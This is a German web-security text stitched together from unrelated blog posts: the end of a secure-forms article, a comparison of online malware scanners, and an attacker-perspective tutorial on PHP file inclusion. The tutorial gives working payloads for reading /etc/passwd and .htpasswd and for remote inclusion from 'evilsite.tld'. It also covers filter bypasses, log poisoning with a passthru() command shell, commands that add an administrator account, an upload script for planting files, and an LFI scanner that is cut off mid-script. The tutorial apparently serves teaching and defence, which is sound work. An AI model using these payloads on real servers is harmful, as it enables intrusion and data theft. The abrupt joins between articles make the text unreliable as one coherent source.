Die Variable $_SERVER['PHP_SELF'] muss also auch vor der Ausgabe gefiltert werden.

<form action="<?php echo htmlentities($_SERVER['PHP_SELF']); ?>" method="post">

Allerdings gibt es hierbei ein weiteres Problem bei alten PHP Versionen. Durch anhängen von Slashes könnte dem action-Attribut eine externe URL zugewiesen werden. Angreifer könnten somit die eingegebenen Daten empfangen und auslesen.

Eine sichere Alternative wär hier sinnvoller. In den meisten Fällen reicht ein leerer String oder für die eigene Verwendung eine statische Angabe.

Soweit zum Schutz vor XSS auf der Webseite. Doch wie sieht es mit dem E-Mail Client aus? Die meisten E-Mail Clients unterstützen HTML-Mails. Wenn Benutzereingaben in E-Mails wieder ausgegeben werden, müssen diese auch ausreichend gefiltert werden. Allerdings nur dann, wenn es sich auch wirklich um HTML-Mails handelt.

<?php
  // ...
  $header = 'Mime-Version: 1.0' . "\r\n";
  $header .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
  $nachricht = htmlentities($_POST['text']);
  mail('empfaenger@example.com', 'Betreff', $nachricht, $header);
?>

Schutz vor Full Path Disclosure

Full Path Disclosure gehört zwar zu den "harmlosen" Sicherheitslücken, man sollte sie aber nicht unterschätzen. In dem Artikel Sicherheitslücken kombinieren habe ich bereits gezeigt, wie aus harmlosen Sicherheitslücken kritische werden können.

Durch Full Path Disclosure (oder allgemein Information Disclosure) können Angreifer den vollständigen Pfad auslesen. Manchmal müssen Angreifer sogar den Pfad kennen, damit sie andere Sicherheitslücken ausnutzen können.

In den obigen Beispielen zum Schutz vor XSS haben wir die Funktion htmlentities() verwendet. Diese Funktion erwartet als Parameter einen String. Ein Angreifer kann aber auch ein Array übergeben, was zur Fehlermeldung und somit zu Full Path Disclosure führt (solange Fehlermeldungen ausgegeben werden).

Um die Ausgabe von Fehlermeldungen zu unterbinden, gibt es mehrere Möglichkeiten.

Wer Zugriff auf die PHP-Konfigurationsdatei (php.ini) hat, kann die Direktive display_errors auf Off setzen. Dadurch werden Fehlermeldungen global unterbunden.

Ansonsten kann man die Funktion error_reporting() nutzen und die Ausgabe von Fehlermeldungen zur Laufzeit unterbinden. Dazu übergibt man der Funktion den Wert 0.

<?php
  error_reporting(0);
  // ...
?>

Zusätzlich könnte man in der if-Abfrage überprüfen, ob es sich um ein Array handelt oder nicht. Dazu eignet sich die Funktion is_array().

<?php
  if(isset($_POST['name']) && !empty($_POST['name']) && !is_array($_POST['name']))
    echo htmlentities($_POST['name']);
?>

Tipp: Während der Entwicklung / während des Debuggens sollte man immer Fehler- und Warnmeldungen ausgeben lassen. So kann man z.B. error_reporting(E_ALL) verwenden und später in error_reporting(0) umändern.

Weitere Möglichkeiten

Eine weitere Möglichkeit bietet der @-Operator. Anstatt htmlentities() verwendet man einfach @htmlentities(). Das gleiche gilt für andere Funktionen.

Ansonsten kann man auch das Type Casting nutzen und der Variable einen expliziten Datentyp (in diesem Fall string) zuweisen.

Schutz vor Mail-Header Injection

E-Mails bestehen genau wie Webseiten aus einem Header und einem Body. Im Header werden bestimmte Daten, wie z.B. die Absender-Adresse und das Datum übertragen.

Bei einer Mail-Header Injection manipulieren Angreifer (bzw. Spamer oder Spambots) den Mail-Header. Meistens wird dies ausgenutzt, um Spam-Mails zu versenden. Es ist allerdings noch weitaus mehr möglich.

In PHP gibt es für das Versenden von E-Mails die Funktion mail(). Werden ungefilterte Benutzereingaben an diese Funktion übergeben, ist Mail-Header Injection möglich, da die mail() Funktion die übergebenen Parameter ungeprüft an den Mailserver schickt.

<?php
  // ...
  $nachricht = htmlentities($_POST['text']);
  $email = htmlentities($_POST['email']);
  mail('empfaenger@example.com', 'Betreff', $nachricht, 'From: ' . $email);
?>

Da Header-Einträge in E-Mails mit einem Zeilenumbruch voneinander getrennt werden, injizieren Angreifer einen Zeilenumbruch (Hexadezimal: %0A), gefolgt von beliebigen Header-Einträgen.

Mit dem CC-Feld bzw. BCC-Feld kann eine Kopie der E-Mail an eine oder mehrere E-Mail Adressen gesendet werden. Diese Felder nutzen Spamer, um Spam-Mails zu versenden (wie am folgenden Beispiel zu sehen ist).

Ein Angreifer / Spamer könnte folgenden String im Formular als E-Mail angeben.

absender@example.com%0ABcc:empfaenger1@xy.tld, empfaenger2@xy.tld

Hier wird eine Kopie der E-Mail an empfaenger1@xy.tld und empfaenger2@xy.tld gesendet. Das BCC-Feld ermöglicht eine Blindkopie; die Empfänger sehen nicht, dass die E-Mail auch an andere Adressen gesendet wurde.

Bei Wikipedia findet man eine Liste von möglichen Header-Einträgen.

Wer genau hinschaut wird feststellen, dass der String kein Zeichen enthält, welches die Funktion htmlentities() umwandeln würde. htmlentities() bietet gegen Mail-Header Injection keinen Schutz! Wir müssen eigene Funktionen zur Filterung / Validierung schreiben.

Hierbei sollte man beachten, dass manche Systeme auch andere Zeichen als Zeilenumbruch interpretieren könnten (z.B. Carriage Return - %0D).

Wichtig: Für einen sicheren Schutz gegen Mail-Header Injection muss jeder Parameter der mail() Funktion validiert / gefiltert werden, der Benutzereingaben enthält.

<?php
  setlocale(LC_ALL, 'de_DE');

  function checkMailParam($val, $type)
  {
    $a  = '/(%0A|\r|%0D|\n|%00|\0|%09|\t)/ims';
    $b  = '/(cc:|bcc:|from:|to:|reply-to:|subject:|sender:'.
          '|content-type:|content-transfer-encoding:|mime-version:)/ims';
    $blacklist = ($type != 'msg') ? $a : $b;   

    $val = preg_replace($blacklist, '', $val); 

    if($type == 'mail')
    {
      if(preg_match('/^[\w.+-]{1,64}\@[\w.-]{1,255}\.[a-z]{2,6}$/', $val))
        return true;
    }

    else if($type == 'subject')
    {
      if(preg_match('/^[[:print:]]{3,}$/', $val))
        return true;
    }

    else if($type == 'msg')
    {
      if(preg_match('/^[[:print:][:space:]]{5,}$/', $val))
        return true;
    }

    else
      return false;
  }

  if(checkMailParam($_POST['text'], 'msg') && checkMailParam($_POST['email'], 'mail'))
  {
    $nachricht = htmlentities($_POST['text']);
    $email = htmlentities($_POST['email']);
    mail('empfaenger@example.com', 'Betreff', $nachricht, 'From: ' . $email);
  }
?>

Als erstes nutzen wir die Funktion setlocale(), damit Umlaute, etc. korrekt verarbeitet werden. Dann folgt unsere eigene Funktion checkMailParam(), in der wir die möglichen Benutzereingaben für die mail() Funktion validieren und filtern. Zuerst werden alle Zeichen, die bei einer Mail-Header Injection typisch sind, durch einen leeren String ersetzt. Anschließend werden die Daten mit Regulären Ausdrücken überprüft - z.B. ob es sich um eine gültige E-Mail Adresse handelt. Ist dies der Fall, wird true zurück gegeben.

Diese Funktion nutzen wir anschließend in einer if-Abfrage. Erst wenn die Daten validiert und gefiltert wurden, wird die mail() Funktion aufgerufen.

Ausblick auf Teil 2

Das war es soweit für den ersten Teil.

Im zweiten Teil geht es um File Uploads und CAPTCHAs. Zum Schluß werd ich dann ein fertiges Formular-Script bereitstellen (evtl. später auch als WP-PlugIn ).

Auch interessant:

• Sichere Formulare – Teil 2
• 10 Mythen zum Thema Web Security
• Content-Spoofing – Teil 2 – Phishing
• Content-Spoofing – Teil 1 – JavaScript
• Content-Spoofing – Teil 3 – HTTP Redirects

Allerdings verlassen sich viele zu sehr auf diese eine Software. Zum einen, weil die Virensignaturen ständig aktualisiert werden und zum anderen, weil sie bisher oder seit der Installation der Antiviren-Software keine Malware auf ihrem PC entdeckt haben.

Heruntergeladene Dateien werden vielleicht einmal kurz gescannt – wenn das Antiviren-Programm keine Meldung ausspruckt, wird die Datei einfach ausgeführt. Dabei lassen sich die meisten Scan-Engines sehr leicht austricksen.

Bessere Chancen hat man, wenn man zusätzlich Online Malware Scanner mit Multi-Engines nutzt. So kann man verdächtige Dateien mit verschiedener Antiviren-Software und aktualisierten Virensignaturen in einem Rutsch kostenlos scannen lassen.

Solche Online-Dienste haben ihre Vorteile, aber auch einige Beschränkungen.

Online-Dienste im Überblick

VirusTotal

Einer der bekanntesten Multi-Engine Malware Scanner Dienste ist wohl VirusTotal. Zurzeit kann man dort einzelne Dateien mit 41 Antiviren-Engines analysieren lassen.

Vorteile:

• Kostenlos
• Sehr viele Antiviren-Engines
• Automatische Updates der Virensignaturen (echtzeit)
• Detailierte Ergebnisse
• Grafische Statistik der Serverauslastung
• Scannen per E-Mail möglich
• SSL Unterstützung

Nachteile:

• 20 MB Limit

VirScan

Ein weiterer Dienst ist VirScan. Dort stehen zurzeit 38 Antiviren-Engines zur Verfügung.

Vorteile:

• Kostenlos
• Sehr viele Antiviren-Engines
• ZIP und RAR Archive mit bis zu 20 Dateien werden unterstützt
• Automatische Updates der Virensignaturen
• Detailierte Ergebnisse
• Grafische Statistik der Serverauslastung

Nachteile:

• 20 MB Limit
• Kein Scannen per E-Mail möglich
• Keine SSL Unterstützung

NoVirusThanks

Eine gute Alternative bietet NoVirusThanks.
Dort stehen zurzeit 24 Antiviren-Engines zur Verfügung.

Vorteile:

• Kostenlos
• Viele Antiviren-Engines
• Automatische Updates der Virensignaturen (alle 6 Stunden)
• Detailierte Ergebnisse
• Grafische Statistik der Serverauslastung
• Option, um das Senden der Datei an die Hersteller zu unterbinden
• Es können Web-Adressen angegeben werden
• Binder und SFX Detector (siehe FAQ)

Nachteile:

• 20 MB Limit
• Kein Scannen per E-Mail möglich
• Keine SSL Unterstützung

Jottis Malwarescanner

Mit Jottis Malwarescanner lassen sich Dateien mit 20 Antiviren-Engines analysieren.

Vorteile:

• Kostenlos
• Gute Anzahl an Antiviren-Engines
• Automatische Updates der Virensignaturen
• Grafische Statistik der Serverauslastung

Nachteile:

• 15 MB Limit
• Keine detailierten Ergebnisse
• Kein Scannen per E-Mail möglich
• Keine SSL Unterstützung

VirusChief

Zum Schluss noch ein etwas kleiner, aber relativ bekannter Dienst.
Bei VirusChief werden zurzeit 5 Antiviren-Engines verwendet.

Vorteile:

• Kostenlos
• Automatische Updates der Virensignaturen

Nachteile:

• Sehr geringe Anzahl an Antiviren-Engines
• Keine detailierten Ergebnisse
• Kein Scannen per E-Mail möglich
• Keine SSL Unterstützung

Fazit

Solche Online-Dienste sind sehr nützlich, wenn man kleinere Dateien analysieren will. Größere Dateien sind dagegen nicht geeignet – da sollte man besser zu einer Alternative greifen. Es gibt sicherlich noch mehr solcher Online-Dienste, aber zu den Top-Diensten gehören auf jeden Fall VirusTotal, VirScan und NoVirusThanks.

Trotzallem sollte man sich aber niemals auf die Ergebnisse verlassen. Antiviren-Programme geben häufig Falschmeldungen aus oder erkennen die Malware einfach nicht. Die Multi-Engine Malware Scanner bieten lediglich einen zusätzlichen Schutz.

Auch interessant:

• 16 nützliche Firefox-Addons für Webworker
• Content-Spoofing – Teil 2 – Phishing
• API Crypting: Antiviren-Programme austricksen
• Über Web-Tuts.de
• 25+ aktuelle Cheat Sheets für Webworker

In diesem Tutorial geht es um File Inclusion in PHP-Anwendungen.

Das Tutorial beinhaltet zwar fortgeschrittene Techniken, richtet sich jedoch auch an Einsteiger, da zuerst Grundlagen behandelt werden.

Grundlegende Kenntnisse in PHP sollten vorhanden sein. Kenntnisse in anderen Sprachen, wie HTML, JS und Perl sind von Vorteil, aber nicht zwingend erforderlich.

Zuerst gibt es eine Einführung in das Thema. Danach werden allgemeine Vorgehensweisen zur Ausnutzung von File Inclusion Sicherheitslücken anhand von praktischen Beispielen demonstriert.

Anschließend folgen einige fortgeschrittene Techniken, die versierte Angreifer ausnutzen - wie zum Beispiel das Einschleusen von eigenen Code oder die Umgehung von unzureichenden Schutzmaßnahmen.

Inhalts-Übersicht

Was ist File Inclusion?
Include Funktionen in PHP
Wodurch entstehen File Inclusion Sicherheitslücken?
Allgemeine Vorgehensweisen
Grundlegende Angriffstechniken
Fortgeschrittene Angriffstechniken
Gegenmaßnahmen

Was ist File Inclusion?

File Inclusion beschreibt eine Sicherheitslücke in Webanwendungen, die es Angreifern ermöglicht, Dateien (und somit auch Code) in einem Script einzubinden.

Man unterscheidet zwischen Local und Remote File Inclusion. Bei Local File Inclusion lassen sich - im Gegensatz zu Remote File Inclusion - nur lokale Dateien einbinden.

File Inclusion Sicherheitslücken sind allgemein kritisch zu betrachten.

Local File Inclusion

Local File Inclusion (kurz: LFI) ist eine Sicherheitslücke, mit der Angreifer ausschließlich lokale Dateien in einem Script einbinden können.

Dadurch lassen sich beispielsweise Inhalte aus Dateien, welche sich auf dem Server befinden, auslesen. Das können Passwortdateien, Konfigurationsdateien oder andere Dateien mit sensiblen Informationen sein.

Sollten die eingebundenen Dateien PHP Code oder clientseitigen Code beinhalten, den der Webserver/Browser interpretieren kann, wird dieser ausgeführt. Somit lassen sich also auch vorhandene PHP Dateien einbinden und ausführen.

Versierte Angreifer können durch diverse Techniken auch eigenen Code einschleusen, der mithilfe einer LFI Sicherheitslücke ausgeführt werden kann.

Remote File Inclusion

Mit Remote File Inclusion (kurz: RFI) können Angreifer auch entfernte Dateien einbinden, die sich auf anderen Servern befinden. Somit ist es natürlich sehr leicht eigenen, beliebigen Code einzuschleusen.

Meistens werden sogenannte Webshells (bzw. PHP Shells) eingebunden, mit denen Angreifer in einem übersichtlichen Interface sämtliche Aktionen durchführen können, wie z.B. das Ausführen von System-Befehlen oder das Uploaden, Editieren, ... von Dateien.

Remote File Inclusion ist nur möglich, wenn allow_url_fopen und allow_url_include in der PHP-Konfiguration (php.ini oder httpd.conf) auf On gesetzt sind.

RFI ist allgemein etwas kritischer zu betrachten, da auch unerfahrene Angreifer (sogenannte "Script-Kiddies") problemlos eigenen Code einschleusen können.

Include Funktionen in PHP

In PHP gibt es mehrere Funktionen, mit denen Dateien in einem Script eingebunden werden können. Diese Funktionen werden sehr häufig von Programmierern verwendet, da sie eine Modularisierung* in Webanwendungen ermöglichen.

* Mit Modularisierung ist die Aufteilung des Source Codes gemeint.

In PHP gibt es folgende Include Funktionen:

• include
• include_once
• require
• require_once
• virtual

include

Die Funktion include bindet eine übergebene Datei ein. Wird diese nicht gefunden, wird eine Warnmeldung ausgegeben. Der weitere Code wird ausgeführt.

include_once

Die Funktion include_once ist identisch mit der Funktion include - mit dem einzigen Unterschied, dass der Code der eingebundenen Datei im Scriptverlauf nur einmal ausgeführt wird.

require

Die Funktion require macht genau das selbe, wie die Funktion include - allderings mit einem großen Unterschied: Wird die übergebene Datei nicht gefunden, wird ein Fatal Error verursacht und die Ausführung des Scripts wird sofort abgebrochen.

require_once

Die Funktion require_once ist identisch mit der Funktion require - der Code wird hier allerdings auch nur einmal im Scriptverlauf ausgeführt.

virtual

Die Funktion virtual ist etwas anders, als die üblichen Include Funktionen. Sie funktioniert nur, wenn PHP als Apache-Modul installiert wurde.

Sie führt eine Apache-Unteranfrage aus - dies ist zum Beispiel bei CGI-Scripten hilfreich, die vom Apache geparst werden sollen.

Natürlich lassen sich hiermit auch PHP Dateien einbinden (und PHP Code ausführen).

Im Gegensatz zu anderen Include Funktionen, verhält sich diese Funktion bei bestimmten Dateiendungen etwas anders. Bindet man beispielsweise eine .txt-Datei ein, die PHP Code beinhaltet, wird dieser nicht ausgeführt. Der PHP Code ist dagegen im Quelltext zu sehen und ermöglicht somit das Auslesen von sensiblen Informationen (File Disclosure).

Wodurch entstehen File Inclusion Sicherheitslücken?

File Inclusion Sicherheitslücken entstehen, wenn an den genannten Include Funktionen ungefilterte Variablen übergeben werden, die Benutzereingaben enthalten können.

In PHP werden Benutzereingaben mittels superglobale Arrays übergeben. Dazu werden ab Version 4.1.0 meistens folgende superglobale Arrays verwendet:

• $_GET
• $_POST
• $_REQUEST

Aber auch andere superglobale Arrays können Benutzereingaben enthalten, wie z.B.:

• $_COOKIE
• $_SESSION
• $_SERVER

Sollte register_globals auf On gesetzt sein, können auch andere Variablen davon betroffen sein. In aktuellen PHP Versionen ist register_globals jedoch standardmäßig auf Off gesetzt.

Allgemeine Vorgehensweisen

RFI: Einbinden von entfernten Dateien

Bei RFI können Angreifer wie gesagt Dateien einbinden, die auf anderen Servern liegen. Dazu geben sie einfach die URL zu der entfernten Datei an.

Häufig werden Dateien mit der Endung .txt eingebunden, die PHP-Anweisungen beinhalten. Damit ist sichergestellt, dass der PHP Code nicht auf dem Server interpretiert wird, wo die Datei liegt, sondern auf dem Zielsystem.

LFI: Auslesen von sensiblen Informationen

Das Ziel von Angreifern ist bei LFI häufig das Auslesen von sensiblen Informationen, wie Passwörter, Konfigurationseinstellungen, etc.

Hier einige Beispiele, die für Angreifer unter UNIX-Systemen interessant sein könnten:

• /etc/passwd
• /etc/shadow
• /etc/group
• /etc/security/passwd
• /etc/security/group
• /etc/security/user
• /etc/security/environ
• /etc/security/limits
• /usr/lib/security/mkuser.default
• /etc/httpd/conf/virtualhosts.conf

Auch htaccess-Passwortdateien (.htpasswd) sind ein beliebtes Ziel.

Grundlegende Angriffstechniken

Nun kommen die ersten Praxisbeispiele aus die Sicht eines Angreifers.

Anhand von praktischen Beispielen wird hier demonstriert, wie Angreifer File Inclusion Sicherheitslücken ausnutzen.

Beispiel 1:

<?php
  if(isset($_GET['file']))
    include($_GET['file']);
?>

Hier können die Dateien in der URL per GET-Parameter übergeben werden.

LFI:

http://localhost/vuln.php?file=/etc/passwd

http://localhost/vuln.php?file=/etc/httpd/conf/virtualhosts.conf

http://localhost/vuln.php?file=/home/www/.passwd

RFI:

http://localhost/vuln.php?file=http://evilsite.tld/evilcode.txt

Beispiel 2:

<?php
  $file = $_GET['file'];

  if(isset($file))
    require('includes/' . $file);
?>

Auch hier können die Dateien per GET-Parameter übergeben werden - in diesem Fall wird allerdings ein Verzeichnis (includes/) vorgegeben.

Nehmen wir an das vorgegebene Verzeichnis includes/ befindet sich unter:

/home/inet/www/includes/

Haben es Angreifer auf /etc/passwd abgesehen, müssen sie sich hier erst einige Verzeichnise mit der Angabe ../ in der Verzeichnisstruktur nach oben bewegen, um ins Root-Verzeichnis zu gelangen. Denn Dort befindet sich das Verzeichnis etc/ in der die passwd Datei liegt.

Übergibt man hier "etc/passwd", erscheint eine Fehlermeldung, da die Datei /home/inet/www/includes/etc/passwd nicht gefunden wurde.

Erfolgreiche Angriffe könnten wie folgt aussehen:

http://localhost/vuln.php?file=../../../../etc/passwd

http://localhost/vuln.php?file=../../../../etc/httpd/conf/virtualhosts.conf

Bei einer .htpasswd in /home/inet/www/.htpasswd muss man sich dagegen nur ein Verzeichnis in der Verzeichnisstruktur nach oben bewegen, um ins www/ Verzeichnis zu gelangen (wo sich die Datei befindet).

http://localhost/vuln.php?file=../.htpasswd

RFI ist hier ohne weiteres nicht möglich, da ein Verzeichnis vorgegeben wird. Selbst wenn man sich in der Verzeichnisstruktur bewegt - man würde sich immer in einem lokalen Verzeichnis befinden.

Hinweis: Oftmals wissen Angreifer nicht, wieviele Verzeichnisse sie sich nach oben bewegen müssen. Um ins Root-Verzeichnis zu gelangen, kann man aber auch einfach zu viele Verzeichnisse nach oben "springen", da sich das Root-Verzeichnis in der Verzeichnisstruktur ganz oben befindet und kein übergeordnetes Verzeichnis existiert.

Beispiel 3:

<?php
  require_once('lang/' . $_COOKIE['lang']);
?>

In diesem Beispiel wird ein Cookie namens "lang" verwendet. Außerdem wird das Verzeichnis lang/ vorgegeben.

Den Wert eines Cookies kann man u.A. im Browser ändern - zum Beispiel mit JavaScript:

javascript:document.cookie="lang=test";void(0);

Nach dem Aufruf sollte das Cookie den Wert "test" haben. Nachprüfen kann man das ganze ebenfalls mit JavaScript:

javascript:alert(document.cookie);

Nehmen wir an das lang/ Verzeichnis befindet sich unter:

/home/inet/www/lang/

Ein Angreifer könnte den Cookie-Wert also z.B. auf ../../../../etc/passwd setzen.

javascript:document.cookie="lang=../../../../etc/passwd";void(0);

javascript:document.cookie="lang=../../../../etc/httpd/conf/virtualhosts.conf";void(0);

javascript:document.cookie="lang=../.htpasswd";void(0);

Nach dem Aufruf des Scripts würden die Dateien erfolgreich eingebunden werden.

Auch hier ist RFI nicht möglich, da ein lokales Verzeichnis vorgegeben wird.

Fortgeschrittene Angriffstechniken

NULL Byte Poisoning

Meistens ist einem Programmierer bekannt, welche Dateiendung(en) die einzubindenen Dateien haben sollen. Im folgenden Beispiel wird die Dateiendung .php angehängt.

Beispiel 4:

<?php
  if(isset($_GET['file']))
    include($_GET['file'] . '.php');
?>

Gibt man hier als GET-Parameter "/etc/passwd" an, erscheint eine Fehlermeldung, da die Datei /etc/passwd.php nicht existiert, sondern nur /etc/passwd - ohne Dateiendung.

Angreifer können dies mit einem sogenannten NULL Byte Zeichen \0 bzw. in Hexadezimal %00 umgehen. In vielen Programmiersprachen terminiert das NULL Byte Zeichen einen String. Diese Angriffstechnik ist auch als NULL Byte Poisoning bekannt.

Die Angabe "/etc/passwd%00" würde zu /etc/passwd%00.php führen. Da das NULL Byte Zeichen den String terminiert, wird der Rest des Strings (hier die Dateiendung) ignoriert.

Erfolgreiche Angriffe könnten daher wie folgt aussehen.

http://localhost/vuln.php?file=/etc/passwd%00

http://localhost/vuln.php?file=/etc/httpd/conf/virtualhosts.conf%00

http://localhost/vuln.php?file=/home/www/.passwd%00

http://localhost/vuln.php?file=http://evilsite.tld/evilcode.txt%00

In PHP-Anwendungen ist dies allerdings nur möglich, wenn magic_quotes_gpc auf Off gesetzt ist. Da dies sehr oft der Fall ist und sogar empfohlen wird, haben Angreifer gute Chancen. Ab PHP 6.0.0 wird es magic_quotes_gpc gar nicht mehr geben.

Dieses Feature ist seit PHP 5.3.0 DEPRECATED (veraltet) und wird in PHP 6.0.0 ENTFERNT. Sich auf dieses Feature zu verlassen ist in keiner Weise empfehlenswert. - Quelle: php.net

Hinweis: Bei RFI gibt es in solchen Fällen allerdings noch eine andere Technik, mit der magic_quotes_gpc umgangen werden kann. Dazu wird einfach vorgetäuscht, dass die Dateiendung ein GET-Parameter oder der Wert eines GET-Patameters ist.
Beispiel: http://localhost/vuln.php?file=http://evilsite.tld/evilcode.txt?xy=
Dies führt zu: http://localhost/vuln.php?file=http://evilsite.tld/evilcode.txt?xy=.php

Filter Bypassing

Eines der größten Probleme von PHP Programmierern sind fehlende Kenntnisse im Bereich PHP-Sicherheit. So entstehen häufig unzureichende Schutzmaßnahmen.

Folgendes Beispiel soll dies verdeutlichen.

Beispiel 5:

<?php
  $file = str_replace('../', '', $_GET['file']);

  if(isset($file))
    include('includes/' . $file);
?>

RFI ist wegen dem vorgegebenen Verzeichnis nicht möglich. Um sich auch vor LFI Angriffen zu schützen, verhindert der Programmierer den Zugriff auf darüber liegende Verzeichnisse, indem er den Wert ../ durch einen leeren String ersetzt.

Folgender Angriffsversuch würde also nicht funktionieren.

http://localhost/vuln.php?file=../../../../etc/passwd

Angreifer können diese Filterung mit der Angabe ....// umgehen.

Dieser Trick ist einfach nachzuvollziehen: Die Angabe ../ wird durch einen leeren String ersetzt und übrig bleibt ../

Erfolgreiche Angriffe könnten wie folgt aussehen.

http://localhost/vuln.php?file=....//....//....//....//etc/passwd

http://localhost/vuln.php?file=....//....//....//....//etc/httpd/conf/virtualhosts.conf

http://localhost/vuln.php?file=....//....//....//....//home/www/.passwd

Einige würden jetzt vielleicht sogar auf die Idee kommen beide Angaben durch einen leeren String zu ersetzen. Das bringt natürlich auch nichts, wie am folgenden Beispiel zu sehen ist.

http://localhost/vuln.php?file=..../....///..../....///..../....///..../....///etc/passwd

Zuerst werden die Angaben ....// ersetzt. Dies ergibt: ....//....//....//....//
Anschließend werden die Angaben ../ ersetzt und übrig bleibt: ../../../../

Code Injizierung in Logdateien

Bei Local File Inclusion lassen sich (wie bereits erwähnt) ausschließlich lokale Dateien einbinden. Das bedeutet, dass man nur Code von vorhandenen Dateien ausführen kann.

Versierte Angreifer können durch clevere Tricks allerdings auch eigenen Code in vorhandene Dateien einschleusen - zum Beispiel in Logdateien.

Der meist verwendete Webserver ist Apache. Dort werden unter anderem Zugriffe auf dem Webserver sowie Fehler protokolliert (Access und Error Logs).

Ein Eintrag in der Error Log Datei wird zum Beispiel verursacht, wenn ein Verzeichnis aufgerufen wurde, das nicht existiert (Error 404).

Die folgenden Beispiele beziehen sich auf XAMPP unter Windows. Dort befindet sich die Error Log Datei standardmäßig unter xampp/apache/logs/error.log

Wird z.B. http://localhost/foobar aufgerufen, wird folgender Eintrag verursacht.

[error] [client 127.0.0.1] File does not exist: C:/xampp/htdocs/foobar

Wie man sieht, wird das angegebene Verzeichnis mitprotokolliert. Dies können Angreifer ausnutzen, indem sie anstelle von einem Verzeichnis, Code angeben.

http://localhost/<?php passthru($_GET['cmd']); ?>

Hinweis: Mit der Funktion passthru() lassen sich System-Befehle ausführen.

Der Browser URL-kodiert allerdings bestimmte Zeichen (wie z.B. spitze Klammern, Leerzeichen und Anführungszeichen), wie in der Error Log Datei zu sehen ist:

[error] [client 127.0.0.1] (20024)The given path is misformatted or contained invalid characters: Cannot map GET /%3C?php%20passthru($_GET[%27cmd%27]);%20?%3E HTTP/1.1 to file

Aus diesem Grund kann der PHP Code nicht interpretiert werden.

Um die URL-Kodierung zu verhindern, nutzen Angreifer meistens Telnet, SSH, etc.

Eine Telnet bzw. SSH Verbindung kann mit der Shell/Konsole oder mit speziellen Programmen wie PuTTY hergestellt werden.

Man kann auch kleine Scripts schreiben, die den Code ohne URL-Kodierung injizieren.

Bindet man nun die Error Log Datei per LFI ein, erscheint folgender Eintrag:

[error] [client 127.0.0.1] Invalid URI in request \xff\xfb\x1f\xff\xfb \xff\xfb\x18\xff\xfb'\xff\xfd\x01\xff\xfb\x03\xff\xfd\x03GET /
Warning: passthru() [function.passthru]: Cannot execute a blank command in C:\xampp\apache\logs\error.log on line 17
HTTP/1.0

Hier sieht man, dass der PHP Code erfolgreich injiziert und ausgeführt wurde. Die Warnmeldung erscheint, weil noch nichts an der passthru() Funktion übergeben wurde.

Dies kann man nun mit dem gerade injizierten GET-Parameter machen.

http://localhost/vuln.php?file=../apache/logs/error.log&cmd=[BEFEHL]

Hinweis: Bei XAMPP befindet sich das wwwroot-Verzeichnis unter xampp/htdocs/ – also muss hier ein Verzeichnis nach oben "gesprungen" werden, um ins apache/logs/ Verzeichnis zu gelangen.

Harmloses Starten des Windows "Taschenrechner":

http://localhost/vuln.php?file=../apache/logs/error.log&cmd=start calc.exe

Hier wird ein neuer Administrator-Account namens foo (pw: bar) angelegt:

http://localhost/vuln.php?file=../apache/logs/error.log&cmd=net user foo bar /add
http://localhost/vuln.php?file=../apache/logs/error.log&cmd=net localgroup Administratoren foo /add

Da man beliebigen PHP Code ausführen kann, ist natürlich noch einiges mehr möglich.

Wie bereits erwähnt injizieren Angreifer mit RFI häufig Webshells, mit denen sie sämtliche Aktionen durchführen können. Das ist auch mit LFI durch Injizierung von Code möglich.

Unter UNIX-Systemen könnte man mit dem Programm wget entfernte Dateien auf das Zielsystem herunterladen. Hat man diese Möglichkeit nicht, könnte man auch einfach ein Upload Script injizieren, mit dem man beliebige Dateien hochladen kann:

<?php
  if(isset($_POST['upload']))
  {
    if(move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']))
      echo '<p><b>Die Datei wurde erfolgreich hochgeladen.<b></p>';
  }
?>
<form action="" enctype="multipart/form-data" method="post">
  <input type="file" name="file" />
  <input type="submit" name="upload" />
</form>

Dieses Script kann man beispielsweise in Base64 kodieren und mit der Funktion fwrite() in eine neue Datei schreiben. Dazu sind ausreichende Schreibrechte* im angegebenen Verzeichnis nötig.

*Angreifer suchen gezielt nach Verzeichnissen, wo sie ausrechende Schreibrechte haben. In einem CMS oder in einem Forensystem ist das z.B. ein Upload-Verzeichnis.

(Klicken zum Vergrößern)

Nach dem Ausführen befindet sich das Upload-Script unter http://localhost/uploadscript.php

Logdateien ausfindig machen

Da sich Logdateien (wie z.B. die Error Log Datei) an unterschiedlichen Orten befinden können (verschiedene Betriebssysteme, Versionen, Installationsverzeichnisse, ...), müssen Angreifer sie erstmal ausfindig machen. Dazu gibt es verschiedene Möglichkeiten.

Am einfachsten ist es, wenn man weiß, wo sich die httpd.conf Datei befindet. In der stehen sämtliche Konfigurationseinstellungen – u.A. auch der Pfad zur Error Log Datei.

http://localhost/vuln.php?file=../apache/conf/httpd.conf

Eine andere Möglichkeit ist das Erzeugen von Fehlermeldungen, in denen der vollständige Pfad ausgegeben wird (Full Path Disclosure). Daraus erhält man oft nützliche Informationen.

Falls Angreifer nicht wissen, wo sich die Logdateien befinden, können sie auch automatisierte Tools (LFI Scanner) nutzen, welche die Arbeit für sie erledigen.

Das folgende (vereinfachte) Perl Script durchsucht z.B. vorgegebene Verzeichnisse.

#!/usr/bin/perl

# Beispiel Script zum Durchsuchen von Error Log Dateien
# www.web-tuts.de

use strict;
use LWP::UserAgent;

die "\nUsage: perl $0 <URL>\n" if(@ARGV < 1);

my $lfi_url = $ARGV[0]; # Bsp: http://localhost/vuln.php?file=

my @logpath = (
"../logs/error.log",
"../../logs/error.log",
"../../../logs/error.log",
"../../../../logs/error.log",
"../../../../../logs/error.log",
"../logs/error_log",
"../../logs/error_log",
"../../../logs/error_log",
"../../../../logs/error_log",
"../../../../../logs/error_log",
"../apache/logs/error.log",
"../../apache/logs/error.log",
"../../../apache/logs/error.log",
"../../../../apache/logs/error.log",
"../../../../../apache/logs/error.log",
"../apache/logs/error_log",
"../../apache/logs/error_log",
"../../../apache/logs/error_log",
"../../../../apache/logs/error_log",
"../../../../../apache/logs/error_log",
"../../../../../etc/httpd/logs/error.log",
"../../../../../etc/httpd/logs/error_log",
"../../../../../var/httpd/logs/error.log",
"../../../../../var/httpd/logs/error_log",
"../../../../../var/home/logs/error.log",
"../../../../../var/home/logs/error_log",
"../../../../../var/www/logs/error.log",
"../../../../../var/www/logs/error_log",
"../../../../../var/log/error.log",
"../../../../../var/log/error_log");

my $useragent = LWP::UserAgent->new;
$useragent->agent('Mozilla/4.77 [en] (X11; I; IRIX;64 6.5 IP30)');

my $resp = $useragent->get($lfi_url);
